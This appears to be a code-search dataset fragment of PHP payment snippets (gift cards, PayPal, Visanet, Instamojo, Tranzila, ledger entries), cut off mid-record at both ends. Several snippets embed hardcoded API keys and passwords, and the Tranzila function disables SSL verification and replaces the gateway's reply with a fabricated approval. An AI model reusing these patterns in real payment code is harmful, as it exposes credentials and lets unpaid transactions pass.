Credit';\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\t$response['error'] = 'Unauthorized access';\r\n\t\t\t\r\n\t\t}\r\n\r\n\t\tif( $response['error'] && $response['error'] !== false ) {\r\n\t\t\techo json_encode($response);\r\n\t\t\texit();\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "c3e704a97f4bd03eeb9f2960c99181c3", "score": "0.54665744", "text": "public function sendMoney()\n {\n $curl = curl_init();\n curl_setopt_array($curl, array(\n 'CURLOPT_URL', \"http://pay.npontu.com/api/pay\",\n 'CURLOPT_RETURNTRANSFER', 1,\n 'CURLOPT_POST', 1,\n 'CURLOPT_POSTFIELDS', array(\n \"amt\", \"2\",\n \"number\",\"0547787834\",\n \"uid\",\"ashesi\",\n \"pass\",\"ashesi\",\n \"tp\",\"001\",\n \"trans_type\",\"debit\",\n \"msg\",\"test1\",\n \"vendor\",\"MTN\",\n \"cbk\",\"http://gmpay.npontu.com/api/tigo\"\n )\n ));\n\n $response = curl_exec($curl);\n return $response;\n var_dump($response);\n\n curl_close($curl);\n\n }", "title": "" }, { "docid": "2fefb2076518d5ff2a2504aad0919703", "score": "0.5461863", "text": "function creditTransactionInsert($generals_id, $data, $totalProductCost, $otherProductCost, $newCylinderProductCost) {\n //58 account receiable head debit\n $singleLedger = array(\n 'generals_id' => $generals_id,\n 'date' => date('Y-m-d', strtotime($this->input->post('saleDate'))),\n 'form_id' => '5',\n 'dist_id' => $this->dist_id,\n 'account' => '58',\n 'debit' => $this->input->post('netTotal'), //sales - discount= grand + vat =newNettotal\n 'updated_by' => $this->admin_id,\n );\n $this->db->insert('generalledger', $singleLedger);\n //59 Prompt Given Discounts\n\n\n if (!empty($data['discount'])):\n $singleLedger = array(\n 'generals_id' => $generals_id,\n 'date' => date('Y-m-d', strtotime($this->input->post('saleDate'))),\n 'form_id' => '5',\n 'dist_id' => $this->dist_id,\n 'account' => '59',\n 'debit' => $data['discount'],\n 'updated_by' => $this->admin_id,\n );\n $this->db->insert('generalledger', $singleLedger);\n endif;\n //49 Sales head credit\n $singleLedger = array(\n 'generals_id' => $generals_id,\n 'date' => date('Y-m-d', strtotime($this->input->post('saleDate'))),\n 'form_id' => '5',\n 'dist_id' => $this->dist_id,\n 'account' => '49',\n 'credit' => array_sum($this->input->post('price')),\n 'updated_by' => $this->admin_id,\n );\n $this->db->insert('generalledger', $singleLedger);\n //60 Sales tax/vat head credit\n if (!empty($data['vatAmount'])):\n $singleLedger = array(\n 'generals_id' => $generals_id,\n 'date' => date('Y-m-d', strtotime($this->input->post('saleDate'))),\n 'form_id' => '5',\n 'dist_id' => $this->dist_id,\n 'account' => '60',\n 'credit' => $data['vatAmount'],\n 'updated_by' => $this->admin_id,\n );\n $this->db->insert('generalledger', $singleLedger);\n endif;\n //62 Cost of Goods-Retail head debit\n if (!empty($totalProductCost)):\n $singleLedger = array(\n 'generals_id' => $generals_id,\n 'date' => date('Y-m-d', strtotime($this->input->post('saleDate'))),\n 'form_id' => '5',\n 'dist_id' => $this->dist_id,\n 'account' => '62',\n 'debit' => $totalProductCost,\n 'updated_by' => $this->admin_id,\n );\n $this->db->insert('generalledger', $singleLedger);\n endif;\n //52 account Inventory head credit\n if (!empty($otherProductCost)):\n $singleLedger = array(\n 'generals_id' => $generals_id,\n 'date' => date('Y-m-d', strtotime($this->input->post('saleDate'))),\n 'form_id' => '5',\n 'dist_id' => $this->dist_id,\n 'account' => '52',\n 'credit' => $otherProductCost,\n 'updated_by' => $this->admin_id,\n );\n $this->db->insert('generalledger', $singleLedger);\n endif;\n //cylinder product stock.\n\n if (!empty($newCylinderProductCost)) {\n $singleLedger = array(\n 'generals_id' => $generals_id,\n 'date' => date('Y-m-d', strtotime($this->input->post('saleDate'))),\n 'form_id' => '5',\n 'dist_id' => $this->dist_id,\n 'account' => '173',\n 'credit' => $newCylinderProductCost,\n 'updated_by' => $this->admin_id,\n );\n $this->db->insert('generalledger', $singleLedger);\n }\n }", "title": "" }, { "docid": "313529a4879a18b455a839528b0cfaa1", "score": "0.5460424", "text": "function rpgc_order_giftcard( ) {\r\n\tglobal $woocommerce;\r\n\r\n\tif ( isset( $_GET['remove_giftcards'] ) ) {\r\n\t\t$type = $_GET['remove_giftcards'];\r\n\r\n\t\tif ( 1 == $type ) {\r\n\t\t\tunset( WC()->session->giftcard_payment, WC()->session->giftcard_post );\r\n\t\t\tWC()->cart->calculate_totals();\r\n\t\t}\r\n\t}\r\n\r\n\tif ( isset( WC()->session->giftcard_post ) )\r\n\t {\r\n\t\tif ( WC()->session->giftcard_post ){\r\n\r\n\t\t\t$currency_symbol = get_woocommerce_currency_symbol();\r\n\r\n\t\t\t$price = WC()->session->giftcard_payment;\r\n\r\n\t\t\t$gotoPage = WC()->cart->get_checkout_url();\r\n\r\n\t\t\tif ( is_cart() )\r\n\t\t\t\t$gotoPage = WC()->cart->get_cart_url();\r\n\r\n\r\n\t\t\t?>\r\n\r\n\t\t\t<tr class=\"giftcard\">\r\n\t\t\t\t<th><?php _e( 'Gift Card Payment', 'rpgiftcards' ); ?> </th>\r\n\r\n\t\t\t\t<td style=\"font-size:0.85em;\"><?php echo woocommerce_price( $price ); ?> <a href=\"<?php echo add_query_arg( 'remove_giftcards', '1', $gotoPage ) ?>\">[<?php _e( 'Remove Gift Card', 'rpgiftcards' ); ?>]</a></td>\r\n\t\t\t</tr>\r\n\r\n\t\t\t<?php\r\n\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "62191604babbe89e910e4d31beeb63bc", "score": "0.54589903", "text": "public function create(Request $request)\n {\n //'user_id','sender_name','reciever_phone','song_id'\n // Validation\n $this->validate($request, [\n \"user_id\" => \"required\",\n \"reciever_phone\" => \"required\",\n \"song_id\" => \"required\"\n ]);\n $userId = $request->input('user_id');\n $songId = $request->input('song_id');\n $code = 201;\n // Check the user and song existance\n try {\n $gift = new Gift();\n $gift->user_id = $userId;\n $gift->sender_name = $request->input('sender_name');\n $gift->reciever_phone = $request->input('reciever_phone');\n $gift->song_id = $songId;\n if ($gift->save()) {\n $code = 201;\n $msg = \"Gift send successfully!\";\n //Send text msg or notification or email\n } else {\n $code = 500;\n $msg = \"Error occured while giving the gift! please try again.\";\n }\n } catch (Exception $ex) {\n $code = 500;\n $msg = $ex->getMessage();\n }\n $output = [\n \"status\" => $code,\n \"msg\" => $msg,\n \"gift\" => $gift\n ];\n return response()->json($output, $code);\n }", "title": "" }, { "docid": "0a6a306b99c1a9c1f69193dd6909af6e", "score": "0.5443634", "text": "public function vouchergenerate($email, $gift)\n {\n $text = 'Bravo tu as reçu '.$gift.' à utiliser dans ton cinéma préféré !!!';\n \n //send mail\n $this->send( $email, $text);\n }", "title": "" }, { "docid": "17c4b3ec7d25cee56c8fb5a574433c93", "score": "0.5440343", "text": "private function create_new_vault_card( $realex_client, $payer_ref, &$card_ref, $order, $data = null ) {\n\n\t\t$response = $this->new_card_request( $realex_client, $payer_ref, $card_ref, $order, $data );\n\n\t\tif ( $response && $response->result == '00' && $realex_client->verify_transaction_signature( $response ) ) {\n\n\t\t\t// Store the vault credit card ref\n\t\t\t$cards = get_user_meta( $order->get_user_id(), 'woocommerce_realex_cc', true );\n\n\t\t\tif ( empty( $cards ) ) {\n\t\t\t\t$cards = array();\n\t\t\t}\n\n\t\t\t$cards[ $card_ref ] = array( 'ref' => $card_ref,\n\t\t\t 'type' => $this->get_post( 'realex_cardType', $data ),\n\t\t\t 'last4' => substr( $this->get_post( 'realex_accountNumber', $data ), -4 ),\n\t\t\t 'expiration_month' => $this->get_post( 'realex_expirationMonth', $data ),\n\t\t\t 'expiration_year' => $this->get_post( 'realex_expirationYear', $data ) );\n\t\t\tupdate_user_meta( $order->get_user_id(), 'woocommerce_realex_cc', $cards ); // Update WP user meta with our tokens\n\t\t\t$message = 'message';\n\n\t\t} else {\n\t\t\t// clear out the card_ref (by reference)\n\t\t\t$card_ref = null;\n\t\t\t$message = 'error';\n\t\t}\n\n\t\tif( $this->is_debug_mode() ) {\n\t\t\t// if in debug mode, display the error message\n\t\t\t$this->response_debug_message( $response, \"Response: card-new\", $message, true );\n\t\t}\n\n\t\treturn $response;\n\t}", "title": "" }, { "docid": "32b529da41b2ea4106f0f6e53ab6625e", "score": "0.5431622", "text": "function warquest_paypal($gold, $price, $key) {\r\n\r\n\tglobal $config;\r\n\tglobal $player;\r\n\r\n\t$tag = 'WarQuest - '.$player->name.' ['.$player->pid.']';\r\n\t\r\n\t$page =\t'<form action=\"https://www.paypal.com/cgi-bin/webscr\" method=\"post\">';\t \r\n\t$page .=\t'<input type=\"hidden\" name=\"cmd\" value=\"_s-xclick\">';\r\n\t$page .=\t'<input type=\"hidden\" name=\"item_name\" value=\"'.$tag.'\">';\r\n\t$page .=\t'<input type=\"hidden\" name=\"hosted_button_id\" value=\"'.$config['paypal_buy_key'.$key].'\">';\r\n\t$page .=\t'<input type=\"image\" src=\"https://www.paypalobjects.com/en_US/i/btn/btn_buynow_LG.gif\" border=\"0\" name=\"submit\" alt=\"\">';\r\n\t$page .=\t'<img alt=\"\" border=\"0\" src=\"https://www.paypalobjects.com/en_US/i/scr/pixel.gif\" width=\"1\" height=\"1\">';\r\n\t$page .=\t'</form>';\r\n\t\r\n\treturn $page;\r\n}", "title": "" }, { "docid": "23b7db515df90792bbc95ad52631b3ae", "score": "0.54306895", "text": "public function addcard(Request $request)\n {\n try {\n $update = array(\n 'ids' => Auth::user()->id,\n 'desc' => $request->desc,\n 'userName' => $request->name,\n 'bankAccount' => $request->cardnumber,\n 'methodId' => $request->bankAccount,\n 'registerProvince' => $request->province,\n 'registerCity' => $request->city,\n 'branch' => $request->branch,\n 'user_id' => Auth::user()->user_id\n // forbank\n );\n // return $update;\n DB::enableQueryLog();\n $code = $request->code;\n $check = withdraw_methods::where('bankAccount', '=', '' . $update['bankAccount'] . '')->get()->count();\n if ($check > 0) {\n return $this->returncode(100, 'No data', 'aleady exist');\n } else {\n $save = withdraw_methods::create($update);\n if ($save) {\n return $this->returncode(200, 'No data', 'success');\n } else {\n return $this->returncode(300, '', DB::getQueryLog()); //query error\n }\n }\n } catch (\\Exception $e) {\n return $this->returncode(500, '', $e->getMessage()); //internal server eeror\n }\n }", "title": "" }, { "docid": "24f17e6b1c2c3a1d0bc063368e4e8d9c", "score": "0.54288113", "text": "public function buy()\n {\n \ttry {\n\n // instances of models.\n \t\t$modelUser = new \\fulo\\model\\UserModel();\n \t\t$modelProduct = new \\fulo\\model\\ProductModel();\n\n // get data.\n \t\t$data = $this->getRequestData();\n\n // get data user.\n \t\t$data->user = $modelUser->getDataByIdentity($data->origin_sq_person);\n\n //get product data.\n \t\t$data->products = $modelProduct->getDataProducts($data);\n\n // adjust data zip code.\n \t\t$data->nu_postcode = $data->user->nu_postcode;\n\n // get fare value.\n \t\t$dataIntern = $this->getFareValue($data);\n\n // start variables;\n \t\t$data->nu_total_intern = 0;\n \t\t$data->nu_quantity_buy = 0;\n\n // sum intern data.\n \t\tforeach ($data->products as $key) {\n \t\t\tforeach ($dataIntern->product as $keyIn) {\n \t\t\t\tif ($key->sq_product == $keyIn->sq_product) {\n\n // multiply products.\n \t\t\t\t\t$data->nu_total_intern = bcadd($data->nu_total_intern, bcmul($key->nu_value, $keyIn->nu_quantity_buy, NUMBER_TWO), NUMBER_TWO);\n\n // inject nu_quantity_buy in products for save in order_products.\n \t\t\t\t\t$key->nu_quantity_buy = $keyIn->nu_quantity_buy;\n \t\t\t\t}\n \t\t\t}\n\n // sum total of products.\n \t\t\t$data->nu_quantity_buy = $data->nu_quantity_buy + $key->nu_quantity_buy;\n \t\t}\n\n // sum total intern with fare value.\n \t\tforeach ($dataIntern->fare_value->cServico as $key) {\n \t\t\tif ($key->Valor == $data->nu_farevalue) {\n \t\t\t\t$data->nu_total_intern = bcadd($data->nu_total_intern, floatval($key->Valor), NUMBER_TWO);\n \t\t\t\tbreak;\n \t\t\t}\n \t\t}\n\n // send to paypal.\n \t\treturn $this->sendPayPal($data);\n \t} catch (Exception $ex) {\n \t\tthrow $ex;\n \t}\n }", "title": "" }, { "docid": "9b7ef9ed47824e96263661abe6426af9", "score": "0.542767", "text": "function check_visanet_response()\n {\n global $woocommerce;\n $current_user = wp_get_current_user();\n if ($_POST) {\n\n /* DESENCRIPTAMOS */\n $hash = $_GET['hash'];\n $secret_key = 'fabricio_vela';\n $secret_iv = 'fabricio_vela';\n\n $output = false;\n $encrypt_method = \"AES-256-CBC\";\n $key2 = hash('sha256', $secret_key);\n $iv = substr(hash('sha256', $secret_iv), 0, 16);\n $order_id = openssl_decrypt(base64_decode($hash), $encrypt_method, $key2, 0, $iv);\n\n $order = new WC_Order($order_id);\n $vars = get_option(\"woocommerce_visanet_settings\");\n $transactionToken = $_POST['transactionToken'];\n //$sessionToken = recupera_sessionToken();\n $sessionToken = get_post_meta($order_id, '_sessionToken', true);\n $moneda = get_post_meta($order_id, '_order_currency', true);\n $order_items = $order->get_items();\n if ($moneda == \"USD\") {\n if ($vars['multicomercio'] == \"yes\") {\n foreach ($order_items as $item) {\n $product_id = $item['product_id'];\n }\n\n $merid = get_post_meta($product_id, '_codigo_comercio_dolares', true);\n $accessk = get_post_meta($product_id, '_access_key_dolares', true);\n $seckey = get_post_meta($product_id, '_secret_key_dolares', true);\n } else {\n $merid = $vars['merchant_id_en'];\n $accessk = $vars['accesskey_en'];\n $seckey = $vars['secretkey_en'];\n }\n\n } else {\n if ($vars['multicomercio'] == \"yes\") {\n foreach ($order_items as $item) {\n $product_id = $item['product_id'];\n }\n $merid = get_post_meta($product_id, '_codigo_comercio_soles', true);\n $accessk = get_post_meta($product_id, '_access_key_soles', true);\n $seckey = get_post_meta($product_id, '_secret_key_soles', true);\n } else {\n $merid = $vars['merchant_id'];\n $accessk = $vars['accesskey'];\n $seckey = $vars['secretkey'];\n }\n }\n $key = get_post_meta($order_id, '_order_key', true);\n $order = new WC_Order($order_id);\n $amount = $order->total;\n $respuesta = authorization($vars[\"ambiente\"], $key, $amount, $merid, $transactionToken, $order_id, $moneda);\n\n //die(var_dump($respuesta));\n //die(var_dump($respuesta).'<br/>ambiente: '.$vars[\"ambiente\"].'<br/>key: '.$key.'<br/>amount: '.$amount.'<br/>merid: '.$merid.'<br/>transactionToken: '.$transactionToken.'<br/>accessk: '.$accessk.'<br/>seckey: '.$seckey);\n $sal = json_decode($respuesta, true);\n update_post_meta($order_id, '_visanetRetorno', $respuesta);\n //var_dump($respuesta);\n if ($order) {\n\n $note = 'Pago via Visanet : ' . $msg_auth . \"\\n\";\n $note .= 'Codigo Autorización: ' . $sal['order']['authorizationCode'] . \"\\n\";\n $note .= 'Codigo Accion: ' . $sal['dataMap']['ACTION_CODE'] . \"\\n\";\n $note .= 'Num Tarjeta: ' . $sal['dataMap']['CARD'] . \"\\n\";\n\n $order->add_order_note($note);\n update_post_meta($order_id, '_order_ambiente', $vars[\"ambiente\"]);\n\n update_post_meta($order_id, '_order_merchantid', $merid);\n update_post_meta($order_id, '_order_accessk', $accessk);\n update_post_meta($order_id, '_order_seckey', $seckey);\n\n update_user_meta($current_user->ID, '_visanet_usertoken', $sal['order']['tokenId']);\n\n if ($sal['dataMap']['ACTION_CODE'] == \"000\") { // autorizada\n $order->update_status('completed');\n $order->reduce_order_stock();\n $woocommerce->cart->empty_cart();\n } else {\n $order->update_status('failed');\n }\n $moneda = get_post_meta($order_id, '_order_currency', true);\n\n $url = get_post_meta($order_id, '_orderUrl', true);\n $parsear = explode('/', $url);\n $rever = array_reverse($parsear);\n $prefijo = $rever[3];\n if ($moneda == \"PEN\") {\n $url = site_url('index.php/' . $prefijo . '/order-received/' . $order_id . '/?key=' . $order->order_key);\n } else {\n $url = site_url('/' . $prefijo . '/order-received/' . $order_id . '/?key=' . $order->order_key);\n }\n //http://{website}/checkout/order-received/{purchaseOperationNumber}/?key={HTTPSessionId}\n\n wp_redirect($url);\n exit();\n //var_dump($sal);\n } else {\n echo 'Número de pedido no válido';\n }\n } else {\n echo 'No se recibio post.';\n }\n\n die();\n }", "title": "" }, { "docid": "87a7cb9ccd3a991608f1004a1a817bf3", "score": "0.5426841", "text": "public function pay()\n {\n \\Pingpp\\Pingpp::setApiKey('sk_test_urT4i5iPOCiHPmj5K0uLO0GK');\n $res = \\Pingpp\\Charge::create(array(\n 'order_no' => '0123456789',\n 'amount' => '100',\n 'app' => array('id' => 'app_9iLSeP8Oi5SGznbj'),\n 'channel' => 'upacp_pc',\n 'currency' => 'cny',\n 'client_ip' => '127.0.0.1',\n 'subject' => 'Your Subject',\n 'body' => 'Your Body',\n 'extra' => array('success_url' => 'http://www.jindanlan.com/')\n ));\n\n \\Debugbar::info($res);\n $content = $res;\n $status = 200;\n $value = \"text/json\";\n return response($content, $status)\n ->header('Content-Type', $value);\n }", "title": "" }, { "docid": "1bb170db6ac9f126d1a4592008797483", "score": "0.54137725", "text": "public static function send_request() {\n \n //The headers are required for authentication\n\n // $ch = curl_init();\n\n // curl_setopt($ch, CURLOPT_URL, 'https://test.instamojo.com/api/1.1/payment-requests/');\n // curl_setopt($ch, CURLOPT_HEADER, FALSE);\n // curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);\n // curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);\n // curl_setopt($ch, CURLOPT_HTTPHEADER,\n // array(\"X-Api-Key:bea7ada292de6b167f3389254cffa053\",\n // \"X-Auth-Token:1270c5d089646b4bee8494ad0ce70a2e\"));\n\n // $payload = Array(\n // 'purpose' => 'FIFA 16',\n // 'amount' => '2500',\n // 'phone' => '9999999999',\n // 'buyer_name' => 'John Doe',\n // 'redirect_url' => 'https://www.akastidesigns.com/redirect/',\n // 'send_email' => true,\n // 'webhook' => 'https://www.akastidesigns.com/webhook/',\n // 'send_sms' => true,\n // 'email' => '[email protected]',\n // 'allow_repeated_payments' => false\n // );\n\n\n // curl_setopt($ch, CURLOPT_POST, true);\n // curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));\n // $response = curl_exec($ch);\n // curl_close($ch); \n\n // //echo $response;\n // $json_decode = json_decode($response,true);\n // $longurl = $json_decode['payment_request']['longurl'];\n // header('Location: '.$longurl);\n \n\n $ch = curl_init();\n\n curl_setopt($ch, CURLOPT_URL, 'https://test.instamojo.com/api/1.1/payment-requests/');\n curl_setopt($ch, CURLOPT_HEADER, FALSE);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);\n curl_setopt($ch, CURLOPT_HTTPHEADER,\n array(\"X-Api-Key:test_7b2e997b23061e1b475e68a2930\",\n \"X-Auth-Token:test_33438eb17ee550f6765d02f68a3\"));\n $payload = Array(\n 'purpose' => 'FIFA 16',\n 'amount' => '2500',\n 'phone' => '9999999999',\n 'buyer_name' => 'John Doe',\n 'redirect_url' => 'http://www.example.com/redirect/',\n 'send_email' => true,\n 'webhook' => 'http://www.example.com/webhook/',\n 'send_sms' => true,\n 'email' => '[email protected]',\n 'allow_repeated_payments' => false\n );\n curl_setopt($ch, CURLOPT_POST, true);\n curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));\n $response = curl_exec($ch);\n curl_close($ch); \n\n echo $response;\n\n // echo \"<pre>\";\n // print_r('sadf');\n // echo \"</pre>\";\n die();\n \n }", "title": "" }, { "docid": "310f524ba5834fd2d38e5bcee38e9b06", "score": "0.5407902", "text": "function chargeCreditCard($price, $nameoncard, $ccardnumber, $exp_month, $exp_year, $ccid=\"\")\r\n\t{\r\n\t\t$url = $this->m_controller . \"Customer/billingTestCcard\";\r\n $url .= \"?auth=\".base64_encode($this->username).\":\".md5($this->password);\r\n\t\t$ret = -1; // Assume fail\r\n\r\n\t\t$fields = \"customer_id=\".$this->id;\r\n\t\t$fields .= \"&ccard_name=\" . urlencode($nameoncard);\r\n\t\t$fields .= \"&ccard_number=\" . urlencode($ccardnumber);\r\n\t\t$fields .= \"&ccard_exp_month=\" . urlencode($exp_month);\r\n\t\t$fields .= \"&ccard_exp_year=\" . urlencode($exp_year);\r\n\t\t$fields .= \"&ccard_ccid=\" . urlencode($ccid);\r\n \r\n\t\t$ch = curl_init($url); // URL of gateway for cURL to post to\r\n\t\tcurl_setopt($ch, CURLOPT_HEADER, 0); // set to 0 to eliminate header info from response\r\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // Returns response data instead of TRUE(1)\r\n\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, rtrim( $fields, \"& \" )); // use HTTP POST to send form data\r\n\t\t### curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // uncomment this line if you get no gateway response. ###\r\n\t\t$resp = curl_exec($ch); //execute post and get results\r\n\t\tcurl_close ($ch); \r\n \r\n\t\t$ret = json_decode($resp, true);\r\n\t\treturn $ret;\r\n\t}", "title": "" }, { "docid": "7230fcdedd25a6d7f3a128bf815ffdde", "score": "0.5397827", "text": "function chooseProduct($clientURL){\n //use adviserID to get adviserFirm from adviser module\n }", "title": "" }, { "docid": "ce6762e331689f4b16cf186c5ad00989", "score": "0.5389092", "text": "function sync_knack_givewp_ajax() {\n\t\t\t \n\t\t\tglobal $Knack;\n\t\t \n\t\t\t/* Setup GiveWP Donation */\n\t\t\t$DonationObject = new Give_Payments_Query( array( 'id' => $_REQUEST['DonationID'] ) );\n\t\t\t$DonationObject = $DonationObject->get_payments()[0];\n\t\t\t$DonationInfo = give_get_meta( $_REQUEST['DonationID'] );\n\n\t\t\t\t/* Set Vars (Sample variables, you can add more if avail or only use some, etc.) */\n\t\t\t\t$DonationID = $_REQUEST['DonationID'];\n\t\t\t\t$DonationTotal = $DonationInfo['_give_payment_total'][0];\n\t\t\t\t$Currency = $DonationInfo['_give_payment_currency'][0];\n\t\t\t\t$BillingFirstName = $DonationInfo['_give_donor_billing_first_name'][0];\n\t\t\t\t$BillingLastName = $DonationInfo['_give_donor_billing_last_name'][0];\n\t\t\t\t$Address1 = $DonationInfo['_give_donor_billing_address1'][0];\n\t\t\t\t$Address2 = $DonationInfo['_give_donor_billing_address2'][0];\n\t\t\t\t$City = $DonationInfo['_give_donor_billing_city'][0];\n\t\t\t\t$State = $DonationInfo['_give_donor_billing_state'][0];\n\t\t\t\t$ZIP = $DonationInfo['_give_donor_billing_zip'][0];\n\t\t\t\t$Country = $DonationInfo['_give_donor_billing_country'][0];\n\t\t\t\t$Gateway = $DonationInfo['_give_payment_gateway'][0];\n\t\t\t\t$DonorEmail = $DonationInfo['_give_payment_donor_email'][0];\n\t\t\t\t$GiveWPPurchaseKey = $DonationInfo['_give_payment_purchase_key'][0];\n\t\t\t\t$WPDonorID = $DonationInfo['_give_payment_donor_id'][0];\n\t\t\t\t$IsRecurring = $DonationInfo['_give_is_donation_recurring'][0];\n\t\t\t\t$IsAnon = $DonationInfo['_give_anonymous_donation'][0];\n\t\t\t\t$Date = $DonationInfo['_give_completed_date'][0];\n\t\t\t\t$GatewayTransactionID = $DonationInfo['_give_payment_transaction_id'][0];\n\n\t\t\t/* Name */\n\t\t\t\t$Name = new stdClass();\n\t\t\t\t\t$Name->title = \"\";\n\t\t\t\t\t$Name->first = $BillingFirstName;\n\t\t\t\t\t$Name->middle = \"\";\n\t\t\t\t\t$Name->last = $BillingLastName;\n\n\n\t\t\t/* Address */\n\t\t\t\t$Address = new stdClass();\n\t\t\t\t\t$Address->street = $Address1;\n\t\t\t\t\t$Address->street2 = $Address2;\n\t\t\t\t\t$Address->city = $City;\n\t\t\t\t\t$Address->state = $State;\n\t\t\t\t\t$Address->zip = $ZIP;\n\t\t\t\t\t$Address->country = $Country;\n\n\t\t\t/* Actual Payload - You'd setup your Field Key's and Variables here! */\n\t\t\t$Payload = new stdClass();\n\n\t\t\t\t$Payload->field_1 = $Name;\n\t\t\t\t$Payload->field_2 = $Address;\n\t\t\t\t$Payload->field_3 = $Date;\n\t\t\t\t$Payload->field_3 = $DonationTotal;\n\t\t\t\t$Payload->field_5 = ucfirst($DonationObject->status);\n\t\t\t\t$Payload->field_6 = $GatewayTransactionID;\n\n\t\t\t/* Send! */\n $RequestURL = 'https://api.knack.com/v1/objects/object_' . KNACK_DONATIONS_OBJECT_ID_GWPKN . '/records/';\n $Record = $Knack->CreateUpdateRecord($RequestURL, $Payload, \"POST\"); \n\n /* Check and return */\n \tif($Record['id'] != \"\"){\n \t\techo \"1\";\n \t} else {\n \t\techo \"0\";\n \t}\n\t\t \n\t\t /* Close WP */\n\t\t wp_die();\n\t\t}", "title": "" }, { "docid": "84f50c4db2006501ecc567a62a7eaf78", "score": "0.53791255", "text": "function k_CardId():string {return 'card';}", "title": "" }, { "docid": "7b569a37180ccb9cd12b3d2e3276fbaa", "score": "0.53740734", "text": "public function donfo_transaction($data ,$token){\n\t\t\t\t\n\t\t\t \n\t\t\t\t\n\t\t\t\t$field_id = 'fld_7259702'; //confirmation field\n\t\t\t\t$tranzilaconfirmation = '';\n\t\t\t\t$expdate = str_replace(\"/\", \"\", $data['expiration_date']);\n\t\t\t\t$expdate = preg_replace('/\\s+/', '', $expdate);\n\t\t\t\t// Prepare transaction parameters>\n\t\t\t\t$query_parameters['supplier'] = $this->supplier;\n\t\t\t\t$query_parameters['sum'] = $data['total_amount']; //Transaction sum\n\t\t\t\t$query_parameters['currency'] = $data['currency']; //Type of currency 1 NIS, 2 USD, 978 EUR, 826 GBP, 392 JPY\n\t\t\t\t$query_parameters['ccno'] = $data['credit_card_number']; // Test card number = '12312312'\n\t\t\t\t$query_parameters['expdate'] = $expdate ;\n\n\n\t\t\t\t $query_parameters['expyear'] = $data['expiration_Year'] ;// Card expiry date: mmyy ='0820'\n\t\t\t\t \n\t\t\t\t\t$query_parameters['mycvv'] = $data['mycvv'] ;// Card expiry date: mmyy ='0820'\n\t\t\t\t// Card expiry date: mmyy ='0820'\n\t\t\t\tif($data['currency'] == 1){\n\t\t\t\t\t$query_parameters['myid'] = $data['id_number']; // ID number = '12312312'\n\t\t\t\t }\n\t\t\t\t else{\n\t\t\t\t\t $query_parameters['myid'] = '';\n\t\t\t\t }\n\t\t\t\t $query_parameters['myid'] = '';\n\t\t\t\t$query_parameters['cred_type'] = '1'; // This field specifies the type of transaction, 1 - normal transaction, 6 - credit, 8 - payments\n\t\t\t\t$query_parameters['TranzilaPW'] = $this->tranzilapw; // Token password if required\n\t\t\t\t$query_parameters['tranmode'] = 'A'; // Mode for verify transaction\n\t\t\t\t$query_parameters['TranzilaTK'] = $token;\n\t\t\t\t/* if ($data['frequency']!= 1){ if there are payments\n\t\t\t\t\t//multiple payments\n\t\t\t\t\t$query_parameters['fpay'] = $data['total_amount'];\n\t\t\t\t\t$query_parameters['spay'] = $data['total_amount'];\n\t\t\t\t\t$query_parameters['npay'] = 12;\n\t\t\t\t} */\n\t\t\t\t// Prepare query string\n\t\t\t\t$query_string = '';\n\t\t\t\tforeach ($query_parameters as $name => $value) {\n\t\t\t\t\t$query_string .= $name . '=' . $value . '&';\n\t\t\t\t}\n\t\t\t\t$query_string = substr($query_string, 0, -1); // Remove trailing '&'\n\t\t\t\t// Initiate CURL\n\t\t\t\t$cr = curl_init();\n\t\t\t\tcurl_setopt($cr, CURLOPT_URL,$this->tranzila_api_host.$this->tranzila_api_path);\n\t\t\t\tcurl_setopt($cr, CURLOPT_POST, 1);\n\t\t\t\tcurl_setopt($cr, CURLOPT_FAILONERROR, true);\n\t\t\t\tcurl_setopt($cr, CURLOPT_POSTFIELDS, $query_string);\n\t\t\t\tcurl_setopt($cr, CURLOPT_RETURNTRANSFER, 1);\n\t\t\t\tcurl_setopt($cr, CURLOPT_SSL_VERIFYPEER, 0);\n\t\t\t\t// Execute request\n\t\t\t\t $result = curl_exec($cr);\n\t\t\t\t //Need to remove later//\n\t\t\t\t \n\t\t\t\t\t\t$abc=array();\n\t\t\t\t\t\t$abc[] = 'Response=000';\n\t\t\t\t\t\t$abc[] = 'mycvv=0';\n\t\t\t\t\t\t$abc[] = 'TranzilaTK=a8658bd932e83f64661';\n\t\t\t\t\t\t$abc[] = 'myid=01';\n\t\t\t\t\t\t$abc[] = 'cred_type=1';\n\t\t\t\t\t\t$abc[] = 'ccno=4661';\n\t\t\t\t\t\t$abc[] = 'expyear=18';\n\t\t\t\t\t\t$abc[] = 'DclickTK=';\n\t\t\t\t\t\t$abc[] = 'supplier=acarragrotok';\n\t\t\t\t\t\t$abc[] = 'expdate=0718';\n\t\t\t\t\t\t$abc[] = 'tranmode=A';\n\t\t\t\t\t\t$abc[] = 'sum=1';\n\t\t\t\t\t\t$abc[] = 'ConfirmationCode=0000000';\n\t\t\t\t\t\t$abc[] = 'Responsesource=0';\n\t\t\t\t\t\t$abc[] = 'Responsecvv=3';\n\n\t\t\t\t\t\t$abc[] = 'Responseid=3';\n\t\t\t\t\t\t$abc[] = 'Tempref=01850001';\n\t\t\t\t\t\t$abc[] = 'DBFIsForeign=1';\n\t\t\t\t\t\t$abc[] = 'DBFcard=2';\n\t\t\t\t\t\t$abc[] = 'cardtype=2';\n\t\t\t\t\t\t$abc[] = 'DBFcardtype=2';\n\t\t\t\t\t\t$abc[] = 'cardissuer=2';\n\t\t\t\t\t\t$abc[] = 'DBFsolek=6';\n\t\t\t\t\t\t$abc[] = 'cardaquirer=6';\n\t\t\t\t\t\t$abc[] = 'tz_parent=acarragrotok';\n\n\t\t\t\t\t\t$result =$abc;\n\t\t\t\t// End remove here // \n\t\t\t\t$error = curl_error($cr);\n\t\t\t\tif (!empty($error)) {\n\t\t\t\t\tdie ($error);\n\t\t\t\t}\n\t\t\t\tcurl_close($cr);\n\t\t\t\t// Preparing associative array with response data\n\t\t\t\t// 